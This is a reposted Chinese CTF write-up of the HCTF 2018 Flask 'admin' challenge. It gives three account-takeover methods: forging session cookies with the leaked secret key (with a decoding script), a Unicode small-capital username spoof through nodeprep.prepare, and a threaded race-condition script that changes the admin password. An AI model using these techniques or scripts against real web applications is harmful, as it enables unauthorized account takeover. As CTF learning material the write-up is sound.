前言
有幸拿到了這道題的1血，也在賽后的交流討論中，發現了一些新的思路，總結一下3個做法：
- 法1：偽造session
- 法2：unicode欺騙
- 法3：條件競爭
資訊搜集
拿到題目
http://admin.2018.hctf.io/
f12查看源代碼
<!-- you are not admin -->
發現提示要成為admin
隨便注冊個賬號，登入后，在
view-source:http://admin.2018.hctf.io/change
發現提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
于是下載原始碼
功能分析
拿到代碼后，簡單的查看了下路由
@app.route('/index')
def index():
@app.route('/register', methods = ['GET', 'POST'])
def register():
@app.route('/login', methods = ['GET', 'POST'])
def login():
@app.route('/logout')
def logout():
@app.route('/change', methods = ['GET', 'POST'])
def change():
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
查看一下路由，功能非常單一：登錄，改密碼，退出，注冊，edit，
但edit功能也是個假功能，并且發現并不會存在sql注入之類的問題，也沒有檔案寫入或者是一些危險的函式，此時陷入了困境，
解法一：session偽造
初步探索
想到的第一個方法：session偽造
于是嘗試偽造session，根據ph寫的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
可以知道flask僅僅對資料進行了簽名，眾所周知的是，簽名的作用是防篡改，而無法防止被讀取，而flask并沒有提供加密操作，所以其session的全部內容都是可以在客戶端讀取的，這就可能造成一些安全問題，
所以我們構造腳本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
然后可以嘗試讀取我們的session內容
此時容易想到偽造admin得到flag，因為看到代碼中
想到把name偽造為admin，于是github上找了個腳本
https://github.com/noraj/flask-session-cookie-manager
嘗試偽造
{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}
但是需要SECRET_KEY
我們發現config.py中存在
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
于是嘗試ckj123
但是比賽的時候很遺憾，最后以失敗告終，當時以為key不是SECRET_KEY，就沒有深究
后來發現問題https://graneed.hatenablog.com/entry/2018/11/11/212048
似乎python3和python2的flask session生成機制不同
改用python3生成即可成功偽造管理員
解法二：Unicode欺騙
代碼審計
在非常迷茫的時候，肯定想到必須得結合改密碼功能，那會不會是change這里有問題，于是仔細去看代碼，發現這樣一句
好奇怪，為什么要轉小寫呢？
難道注冊的時候沒有轉大小寫嗎？
但隨后發現注冊和登錄都用了轉小寫，注冊ADMIN的計劃失敗
但是又有一個特別的地方，我們python轉小寫一般用的都是lower()，為什么這里是strlower()?
有沒有什么不一樣的地方呢？于是想到跟進一下函式
def strlower(username):
username = nodeprep.prepare(username)
return username
本能的去研究了一下nodeprep.prepare
找到對應的庫
https://github.com/twisted/twisted
這個方法很容易懂，即將大寫字母轉為小寫
但是很快就容易發現問題
版本差的可真多，十有八九這里有貓膩
unicode問題
后來搜到這樣一篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
對于如下字母
????????????????????????
具體編碼可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare會進行如下操作
? -> A -> a
即第一次將其轉換為大寫，第二次將其轉換為小寫
那么是否可以用來bypass題目呢？
攻擊構造
我們容易想到一個攻擊鏈：
- 注冊用戶?dmin
- 登錄用戶?dmin，變成Admin
- 修改密碼Admin，更改了admin的密碼
于是成功得到如下flag
擴展
這里的unicode欺騙，讓我想起了一道sql注入題目
skysec.top/2018/03/21/從一道題深入mysql字符集與比對方法collation/
解法三：條件競爭
該方法也是賽后交流才發現的，感覺有點意思
代碼審計
我們發現代碼在處理session賦值的時候
兩個危險操作，一個登陸一個改密碼，都是在不安全check身份的情況下，直接先賦值了session
那么這里就會存在一些風險
那么我們設想，能不能利用這一點，改掉admin的密碼呢？
例如：
- 我們登錄sky用戶，得到session a
- 用session a去登錄觸發admin賦值
- 改密碼，此時session a已經被更改為session b了，即session name=admin
- 成功更改admin的密碼
但是構想是美好的，這里存在問題，即前兩步中，如果我們的Session a是登錄后的，那么是無法再去登錄admin的
我們會在第一步直接跳轉，所以這里需要條件競爭
條件競爭思路
那么能不能避開這個check呢？
答案是顯然的，我們雙線并進
當我們的一個行程運行到改密碼
這里的時候
我們的另一個行程正好退出了這個用戶，并且來到了登錄的這個位置
此時正好session name變為admin，change密碼正好更改了管理員密碼
payload
這里直接用研友syang@Whitzard的腳本了
import requests
import threading
def login(s, username, password):
data = https://www.cnblogs.com/sfsec/p/{'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=https://www.cnblogs.com/sfsec/p/data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = https://www.cnblogs.com/sfsec/p/{'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=https://www.cnblogs.com/sfsec/p/data)
def func1(s):
login(s,'skysec', 'skysec')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="https://www.cnblogs.com/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
注：但在后期測驗中我沒能成功，后面再研究一下，但我認為思路應該是正確的，
后記
題目可能因為一些失誤有一些非預期，但是能進行這么多解法，對學習還是非常有幫助的，
原文地址：https://www.anquanke.com/post/id/164086#h3-13
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/296078.html
標籤：其他
下一篇：網頁防篡改系統與網站安全